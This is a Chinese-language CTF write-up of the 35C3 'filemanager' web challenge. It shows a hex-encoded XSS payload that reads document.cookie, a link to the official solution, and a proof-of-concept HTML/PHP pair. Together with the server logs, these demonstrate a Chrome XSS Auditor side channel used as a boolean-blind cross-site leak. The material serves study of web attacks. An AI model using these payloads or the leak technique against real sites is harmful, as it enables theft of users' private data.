再一次被国际赛血虐…. 真是太菜了。回到正题上来,看一次35c3的filemanger题目。 题目应该还没有关:
1 2 3 4 Solves: 5 Check out my web-based filemanager running at https://filemanager.appspot.com.The admin is using it to store a flag, can you get it? You can reach the admin 's chrome-headless at: nc 35.246.157.192 1
0x1 做题时的自己的想法 首先是测出来有一个xss漏洞,在search页面,search页面有段js如下:
1 2 3 4 5 6 7 8 (() => { for (let pre of document .getElementsByTagName('pre' )) { let text = pre.innerHTML; let q = 'test' ; let idx = text.indexOf(q); pre.innerHTML = `${text.substr(0 , idx)} <mark>${q} </mark>${text.substr(idx+q.length)} ` ; } })();
q是搜索条件,如果搜到的文件内容跟q匹配,就会显示文件内容,并把q高亮显示出来。
这里q可以引发xss,测试方法:
上传文件名xxxxx,内容为
1 \x 3 c \x 69 \x 6 d\x 67 \x 20 \x 73 \x 72 \x 63 \x 3 d\x 78 \x 20 \x 6 f\x 6 e\x 65 \x 72 \x 72 \x 6 f\x 72 \x 3 d\x 61 \x 6 c \x 65 \x 72 \x 74 \x 28 \x 64 \x 6 f\x 63 \x 75 \x 6 d\x 65 \x 6 e\x 74 \x 2 e\x 63 \x 6 f\x 6 f\x 6 b\x 69 \x 65 \x 29 \x 3 b\x 3 e
其实就是编码后的<img src=x onerror=alert(document.cookie);>
搜索
1 \x 3 c \x 69 \x 6 d\x 67 \x 20 \x 73 \x 72 \x 63 \x 3 d\x 78 \x 20 \x 6 f\x 6 e\x 65 \x 72 \x 72 \x 6 f\x 72 \x 3 d\x 61 \x 6 c \x 65 \x 72 \x 74 \x 28 \x 64 \x 6 f\x 63 \x 75 \x 6 d\x 65 \x 6 e\x 74 \x 2 e\x 63 \x 6 f\x 6 f\x 6 b\x 69 \x 65 \x 29 \x 3 b\x 3 e
就会触发xss。
但是有个利用条件,就是首先需要有一个包含
1 \x 3 c \x 69 \x 6 d\x 67 \x 20 \x 73 \x 72 \x 63 \x 3 d\x 78 \x 20 \x 6 f\x 6 e\x 65 \x 72 \x 72 \x 6 f\x 72 \x 3 d\x 61 \x 6 c \x 65 \x 72 \x 74 \x 28 \x 64 \x 6 f\x 63 \x 75 \x 6 d\x 65 \x 6 e\x 74 \x 2 e\x 63 \x 6 f\x 6 f\x 6 b\x 69 \x 65 \x 29 \x 3 b\x 3 e
的文档,显然管理员是没有的。。。 所以一直在想怎么csrf去写一个。。。创建文档的页面有个XSRF头保护,没办法csrf,就陷入了僵局。
0x2 正解 正解在这里https://gist.githubusercontent.com/Jinmo/1eb258fe22daab04245cabb971111495/raw/26cda4e3a3ebbda37cf1c483240cf693a2276437/exp.html
根本没有用到xss,就是直接获取管理员页面,搜flag,类似于bool盲注的效果,就这么暴力。这里不再详细说这个题解了,自己去品味一下吧。
如果你看完这个题解,没有感到疑惑,甚至觉得很easy,那就没必要继续往下看了。下面说的这个问题,你肯定知道。
0x3 关于chrome XSS Auditor的一个小知识点 先看现象,写两个测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <meta http-equiv="X-UA-Compatible" content="ie=edge" > <title>Document</title> </head> <body> <?php $password = @$_GET["password" ]; if ($password=='admin' ){ echo "you get it." ; echo "<script>let a='test';</script>" ; }else { echo "guess error!" ; } ?> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <style > iframe { display: none; } </style > <iframe id =f > </iframe > <div id =log > </div > <script > var myframes = []; function go (x) { var f = document .createElement('iframe' ); myframes.push(f); document .body.appendChild(f) var start = performance.now() f.onload = function () { f.onload = function () { console .log("second request!" ); } console .log("first request!" ); f.src=f.src+'#' ; } f.src = `http://localhost:8888/test.php?password=${encodeURIComponent(x)}&<script > let %20 a=%27 test%27 ;<\ /script > `; } var payload1 = 'admin' ; var payload2 = 'test' ; go(payload1); go(payload2); </script >
访问poc.html
,看到如下输出:
可以看到这里只发了3次请求,按照这个代码的写法:
1 2 3 4 5 6 7 f.onload = function ( ) { f.onload = function ( ) { console .log("second request!" ); } console .log("first request!" ); f.src=f.src+'#' ; }
按照这种写法,在url后面添加一个’#’,浏览器会认为url没有被修改,是不会再重新请求一次的。那应该是2次请求,可是为啥是3次?
其实原因很明显了,因为页面内容被XSS Auditor拦截了之后,浏览器会认为页面根本没有加载成功,所以在url后面添加一个’#’后,浏览器会再去加载一次。
看一下服务端的请求日志:
1 2 3 [Sun Dec 30 11 :38 :28 2018 ] ::1 :54705 [200 ]: /test.php?password=admin&%3 Cscript%3 Elet%20 a=%27 test%27 ;%3 C/script%3 E [Sun Dec 30 11 :38 :28 2018 ] ::1 :54706 [200 ]: /test.php?password=test&%3 Cscript%3 Elet%20 a=%27 test%27 ;%3 C/script%3 E [Sun Dec 30 11 :38 :28 2018 ] ::1 :54711 [200 ]: /test.php?password=admin&%3 Cscript%3 Elet%20 a=%27 test%27 ;%3 C/script%3 E
其中 password=admin
这个请求会触发XSS Auditor。
这就给我们一个提示,我们可以把正常页面中带有的js脚本写到url中,而错误页面是没有这个脚本的,如果页面加载正常,就会触发 XSS Auditor,这时候就给我们再发一次请求的机会,从而实现数据外带,而错误页面是不会触发XSS Auditor的,所以第二次请求就不会发出,利用这种技巧在前端实现类似于bool盲注的效果。